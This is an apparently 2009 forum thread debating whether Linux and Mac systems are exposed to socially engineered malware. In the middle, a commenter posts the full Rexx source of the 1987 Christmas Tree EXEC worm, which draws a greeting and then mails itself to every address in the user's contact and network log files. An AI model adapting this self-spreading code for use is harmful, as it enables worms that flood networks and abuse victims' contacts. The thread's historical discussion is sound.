Posted on 02/11/2009 5:56:40 AM PST by ShadowAce
:)
“But now no one can honestly say that we tout the invulnerability of *nix.”
Ah, good point. LOL
I did like his little appendix on root escalation via patience.
Macs, by the way, are also vulnerable to the attack described. However, there is one additional level of protection: You get a warning the first time you run something downloaded from the internet. You can ignore it of course, but you do get the warning. Social engineering, remember.
The more things change, the more they stay the same. One of the original computer worms was the famous Christmas Tree EXEC of 1987, which shut down IBM's internal network by flooding it with traffic. It was written in Rexx, not bash/Python, but, like what the article describes, it depended on social engineering. It was sent to victims using the system's email facility. When a user chose to run it, it would draw a cute Christmas tree on the 3270 display and then send itself to everybody in the user's contact list.
Here's the code:
/*********************/ /* LET THIS EXEC */ /* */ /* RUN */ /* */ /* AND */ /* */ /* ENJOY */ /* */ /* YOURSELF! */ /*********************/ 'VMFCLEAR' SAY ' * ' SAY ' * ' SAY ' *** ' SAY ' ***** ' SAY ' ******* ' SAY ' ********* ' SAY ' ************* A' SAY ' ******* ' SAY ' *********** VERY' SAY ' *************** ' SAY ' ******************* HAPPY' SAY ' *********** ' SAY ' *************** CHRISTMAS' SAY ' ******************* ' SAY ' *********************** AND MY' SAY ' *************** ' SAY ' ******************* BEST WISHES' SAY ' *********************** ' SAY ' *************************** FOR THE NEXT' SAY ' ****** ' SAY ' ****** YEAR' SAY ' ****** ' /* browsing this file is no fun at all just type CHRISTMAS from cms */ dropbuf makebuf "q t (stack" pull d1 d2 d3 d4 d5 dat pull zeile jeah = substr(dat,7,2) tack = substr(dat,4,2) mohn = substr(dat,1,2) if jeah <= 88 then do if mohn <2 ] mohn = 12 then do DROPBUF MAKEBUF "IDENTIFY ( FIFO" PULL WER VON WO IST REST DROPBUF MAKEBUF "EXECIO * DISKR " WER " NAMES A (FIFO" DO WHILE QUEUED() > 0 PULL NICK NAME ORT NAM = INDEX(NAME,'.')+1 IF NAM > 0 THEN DO NAME = SUBSTR(NAME,NAM) END NAM = INDEX(ORT,'.')+1 IF NAM > 0 THEN DO ORT = SUBSTR(ORT,NAM) END IF LENGTH(NAME)>0 THEN DO IF LENGTH(ORT) = 0 THEN DO ORT = WO END if name ^= "RELAY" then do "SF CHRISTMAS EXEC A " NAME " AT " ORT " (ack" end END END DROPBUF MAKEBUF ANZ = 1 "EXECIO * DISKR " WER " NETLOG A (FIFO" DO WHILE QUEUED() > 0 PULL KIND FN FT FM ACT FROM ID AT NODE REST IF ACT = 'SENT' THEN DO IF ANZ = 1 THEN DO OK.ANZ = ID END IF ANZ > 1 THEN DO OK.ANZ = ID NIXIS = 0 DO I = 1 TO ANZ-1 IF OK.I = ID THEN DO NIXIS = 1 END END END ANZ = ANZ + 1 IF NIXIS = 0 THEN DO "SF CHRISTMAS EXEC A " ID " AT " NODE " (ack" END END END DROPBUF END end end
This is describing a trojan, not a virus..
Thats like saying fords are vulnerable because if you go into a wall at 100mph without your seat belt you can get hurt... Thats true of *any* car..
Yeah--that's my point as well (See Post #23).
I remember hearing about that....
Date is 03.09.09
Linux virus protection? **************************EXCERPT************************
KATT says:
Showing 1-14 of 14 posts in this discussion
*******************EXCERPT INTRO*****************************
howard says:
One of the paranoid things that I do for my system is I have three accounts:...............
(MORE) at the link:
*************************************
So there are cases where it would be a good idea to have some sort of AV running.
The entire premise of this article is predicated upon the assumption that the user takes some stupid action (like executing an attachment from an email).
The problem with Windows has always been more than just stupid user actions. Windows has been vulnerable to viruses, worms, trojans, malware, etc, without the user taking any stupid actions at all.
I think that would only be the case if one was running WINE ( under Linux)...right?
Exactly. This shows that there is a difference between POSIX-based systems and Windows-based system at a technical level. The lack of virii on Linux/OSX is not due to their lack of popularity, but to fundamental design differences.
Not necessarily. You could receive a virus in an e-mail and forward it on to Windows users, perhaps. While it won’t infect you, you could spread it around.
Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works.